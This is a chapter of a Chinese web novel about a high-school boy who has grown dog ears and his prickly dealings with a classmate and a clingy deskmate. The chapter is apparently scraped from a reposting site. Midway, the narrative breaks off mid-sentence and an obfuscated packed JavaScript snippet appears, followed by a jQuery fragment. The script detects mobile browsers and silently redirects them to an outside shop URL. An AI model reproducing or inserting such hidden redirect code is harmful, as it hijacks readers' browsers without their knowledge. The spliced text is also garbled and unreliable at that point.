陆巡现在很后悔。
后悔不该在午自习的时候因为太饿,没忍住接下了同桌的示好牛肉干。
好了,现在下课了,让人缠上了!
陆巡的这个同桌王竞勇,其实还是那个爱操心的班主任鲁自强闹出来的事儿。
也不知道他究竟从陆巡高一的老师和同学们那里,打听到了些什么,又脑补了一些什么。
这个头发花白的老头儿,精神头十足,一开学就把陆巡叫过去东拉西扯说了一堆,什么绝对保护他的身世隐私啦,保证同学们都会对他很友好啦,一定给他一个好的成长环境啦。
陆巡装乖背着手,听得魂飞天外,越听越不耐烦,一开始还以沉默对抗,后来实在被他念经的功力烦得不行,只好开口嗯嗯好好我知道。
结果!这个老东西给他安排了一个傻子同桌!
这个王竞勇,完全就是纯种傻子!
一天到晚就知道玩球和邀请他玩球!
每天上学傻不愣登抱个篮球,下课了在桌子旁边用手拍球,上课了在桌子底下用脚玩球,还故意把球踢到他这边来。
想他给他传球。
不是?
陆巡烦得不行,靠自己天生的臭脸才勉强把这个过分热情的同桌排斥在30厘米以外。
结果今天就因为耳朵事变,打乱了他去校外吃香喝辣的计划,他破功了!
他接受了王竞勇推过来的牛肉干。
现在人家打蛇随棍上了。
“好吃吗陆哥?”
“你数学作业写了吗?”
“陆哥,你这帽子哪来的啊?”
“我能摸摸吗?”
摸你个头!
陆巡从未如此怀念过高一那些歧视又漠视他的同学们。
他咬咬牙,姑且一试:“你坐好,王竞勇!……哎呀球拿开!”
“你听我说,我是孤儿,没有父母,在福利院长大的,和你不一样,懂不?你爸妈要是知道你和我交朋友,铁定教训你一大堆!”
所以,别再找我玩球了!
王竞勇小麦色的憨厚脸庞愣住了一瞬,不知道他异于常人的脑瓜子怎样运转了一番,最后,他像是下定了决心。
只见他凑近陆巡悄咪咪地说:“那有什么,不告诉他们就行了!等爸妈变老了死了,我不就也是孤儿了吗?我们一样的!”
陆巡:?
神经病啊!
陆巡猛地从座位上站起来,他一秒钟也受不了这个大逆不道的傻子了!
他决定尿遁,躲去卫生间,等上课铃响再回来。
刚踏出教室后门口,气得竖起的毛耳朵,在黑暗的帽子底下动了动,突然捕捉到了熟悉的声音。
自他今天有新耳朵以来,听得最多的声音。
是林风临的脚步声。
向他的方向来了。
陆巡突然脚步一转,长手一伸从座位上拿起了自己的水杯,装模作样地在门旁的饮水机接起了水。
“陆哥,你手没劲吗?我来帮你!”
王竞勇的目光一直跟着陆巡转,看见他按着的水龙头只滴下一条细细的水线,自告奋勇就要来插手。
陆巡:……
真行,傻子说话就是硬气啊。
“不用,转回去!”陆巡挥挥手给他下了明确的指令。
脚步声越来越近了,陆巡的毛绒耳朵在黑暗里兴奋地抖动起来。
就是现在!
陆巡猛地从饮水机前转身,刚好对上了从后门口进来的林风临的视线。
林风临收回视线,目不斜视地从他身旁经过了。
陆巡满腔扬起来的战意就这样瞬间被浇灭。
他像反应不过来似的,一直看着她的背影,直到她走回左边第三排的座位坐下。
她扬起的香气很快消散了。
就这样?
一句话也不说?
凭什么!
他刚刚想出了好几句绝妙的刻薄话,为什么不看他?
信不信他不还钱了!
陆巡的眉头压下来,往座位上一坐,浑身都是低气压。
偏偏他的同桌王竞勇是个读不懂脸色的,还在不停问:
“陆哥,你数学作业写了吗?”
“能借我看看吗?”
“我篮球借你玩。”
陆巡猛地转头看他,目光带着审视和质疑,还有一种说不出的杀气,刮骨刀似的在他身上过了一遍。
王竞勇丈二和尚摸不着头脑。
但好在,只是一会儿以后,他的大好人同桌陆巡,就掏出了一张试卷甩在他面前。
“要抄作业就抄作业,别整那么多花头。”王竞勇听见他冷冷地说。
于是王竞勇如饥似渴地抄了起来,还用手指指着仔细地来回看着,像报纸上严谨专注的科学家。
陆巡看着自己的傻子同桌抄得忘我,一点注意力都没再分给过他,脸色越来越黑,最后已是咬牙切齿。
好啊,还说怎么有人这么拼命缠着他要和他做朋友,原来不过是为了这个!
无耻!
现在的人,为了抄作业什么话都说得出口,什么和他一样,什么不在意身世,统统都是借口!
太现实了,太现实了,连傻子都为了利益不顾一切了。
陆巡气得发抖。
连傻子都这样……
他漠然地想,林风临也一样吧。
回教室以后就不理他了,肯定是因为他承诺的钱还没给她。
哼。
他今晚回福利院就把他的私房钱全拿出来。
明天把她吓晕过去!
吓不吓得着不知道,但是第二天起床的林风临,疼是快疼晕过去了。
昨天发生的事太多太乱,又是饿肚子,又是英勇救人,又亲眼目睹大变活狗。
作业也多,林风临下了晚自习回家还库库写到深夜,晚上也没睡好。
今早听到闹钟,作为一个内驱力极强的高中卷王,她本来应该一个鲤鱼打挺就跃出被窝的!
结果她刚抬起上半身离开床面,人就突然间僵直了。
然后像一块万念俱灰的砧板一样又直挺挺地倒回了床上。
怎么回事?她的腰好疼!
不会是昨天她急着把陆巡从河岸边扯上来的时候,闪到腰了吧?
疼疼疼疼!
厨房里,系着围裙的林晚霞有些疑惑,她手里拿着锅铲,探出厨房看了一眼客厅的钟。
已经6:45了。
奇怪,这个时间女儿应该早就冲出来洗漱了呀。
她放下锅铲,扭开林风临的房门,喊道:“风铃啊,还不起啊?马上上学迟到了!”
拉着窗帘漆黑的房间里,那团拱起的被窝中,伸出了一只虚弱的手:“妈,有狗皮膏药吗?”
————
陆巡起了个大早,揣着自己平常去逃课去校外打工挣的钱,早早到了教室蹲守。
他要把钱拍在林风临脸上,然后挺起胸膛做人!
他自己回去想了想,确实林风临被他无缘无故打翻了午饭,又劳心劳力救了他,给他打掩护,她生气说点刻薄话也正常。
要钱也正常。
她总要得到点什么吧?
毕竟她一看就是那种傲气到不愿意吃亏的人。
不管怎么说,他给她多多的钱作为报酬,她总开心了吧?
可是,等啊等,等到7点19分,早读课马上开始了,林风临竟然还没到校!
一脸郁闷的陆巡从地上站起来,默不作声地从林风临同桌身后挤出去了。
突然看到一个大活人在座位旁边升起来又飘走的李月然:?
这是干什么?这是?
她张了张嘴,回头看了一眼,又不敢置信地凑到林风临座位上看了看。
所以刚才这位陆巡同学,就一直躲在墙边和林风临桌子的夹缝之中吗?
救命啊!这是什么癖好?
胆小的李月然忧心忡忡,这个人不会要霸凌林风临吧?
说曹操曹操到,说风铃风铃响。
气喘吁吁的林风临,拎着书包,敞着校服外套,在早读铃响起前的最后三秒,奔进了教室。
刚坐下,教室门口墙上的铜铃就尖锐地响了起来。
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326805|199130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风临呼吸还没喘匀,把糊在脸上的头发拂开,问李月然:“今天什么早读?不是英语吧?”
问话的间隙,她已经抬头看见一个高挑的身影径直走上了讲台。
“太好了,是语文早读,”林风临终于放松下来,趴在了桌上,“不是我领读。是关容。”
一头利落短发的关容,在讲台上没有感情地开口:“请大家把语文书翻到128页《出师表》。”
作为语文课代表的她,扫了一眼底下的同学们已经陆陆续续拿出书,于是她领读了一句:“先帝创业未半而中道崩殂……”
“今天下三分,益州疲弊,此诚危急存亡之秋也……”
读书声响起。
李月然借着声音的掩护,悄悄问林风临:“你今天起晚了吗?早饭吃了吗?”
“吃了吃了。”林风临摆摆手,“嗨呀,不是起晚了,是腰疼,哎,懒得说了。”
担心着的李月然也没有多问,现在她有更重要的事情要说。
她小心地往教室后排看了一眼,正巧对上陆巡投来这边的目光。
李月然:!
她更担心了,连忙转回来,凑近林风临,细声细气地说:
“风临,你知道那个陆巡吗?我怀疑他想欺负你。”
林风临:?
倒反天罡!
他还想欺负她?
林风临不屑地笑了一声:“他敢!”
李月然欲言又止,终于还是说:
“今早他像神经病一样躲在你座位旁边,就这儿!蹲在那,我都没发现。
然后他站起来就走了,特别自然,把我的椅子抬起来一截,就出去了。
你说他是不是?”
她隐蔽地指了指自己的太阳穴。
林风临:……
后排竖着耳朵偷听的陆巡:……
陆巡一拍桌子,震得旁边偷吃牛肉干的王竞勇疑惑地看他。
“吃你的!不关你事!”他恶狠狠地说。
讲台上的关容冷冷瞥过来了一眼。
陆巡丝毫不怵地瞪了回去。
只是他关注的那边,林风临始终没有回头。
可恶!
我倒要听听她怎么说我。
已经迅速进入半兽人角色的陆巡,现在运用起灵敏的耳朵那叫一个得心应手。
红色鸭舌帽下机警的两个笋尖尖,像天线一样抬了起来,并调转了方向,对准林风临的座位收听。
“他是有点神经病。不过你别担心,他没什么坏心。脑子也……还正常的。”林风临安慰自己受到惊吓的同桌。
陆巡的耳朵尖愉悦地抖了抖,没想到,林风临这个疯女人,对他的印象还不错嘛。
他一高兴,就想她也高兴一点。
心里算了算自己的存款,又盘了盘自己的打工报酬,他决定大方一点。
不就是喜欢钱吗?
他给她钱!
她高价租给他的帽子,他要了!
不还了,让她一直扣钱吧。
陆巡抬起手整理了一下帽檐,突然问自己的傻子同桌:
“我戴这个帽子,看起来怎么样?”
王竞勇:“像打球的。”
陆巡:……
“牛肉干给我一个。”他毫不客气地虎口夺食。
陆巡是开心了。
殊不知林风临慌得不行。
这个家伙莫名其妙蹲在她座位上干嘛?
找她算账?找证据?
不会发现了吧?
她确实趁人之危占他便宜了没错,但是她也做急救了呀!
是,她是没忍住撸了他的狗耳朵,可是同时她也记挂着他的安危呀。
一个手揉耳朵,一个手掐人中,不是把他掐醒了吗?
主要是,半兽人诶!活生生的毛茸茸耳朵顶在头上,这谁能忍住?
她只是犯了一个全天下所有人都会犯的错误,对不良诱惑勇敢说了yes而已!
他不可能会发现的。
林风临想。
没有任何破绽。没有证据。
他一定不会发现的。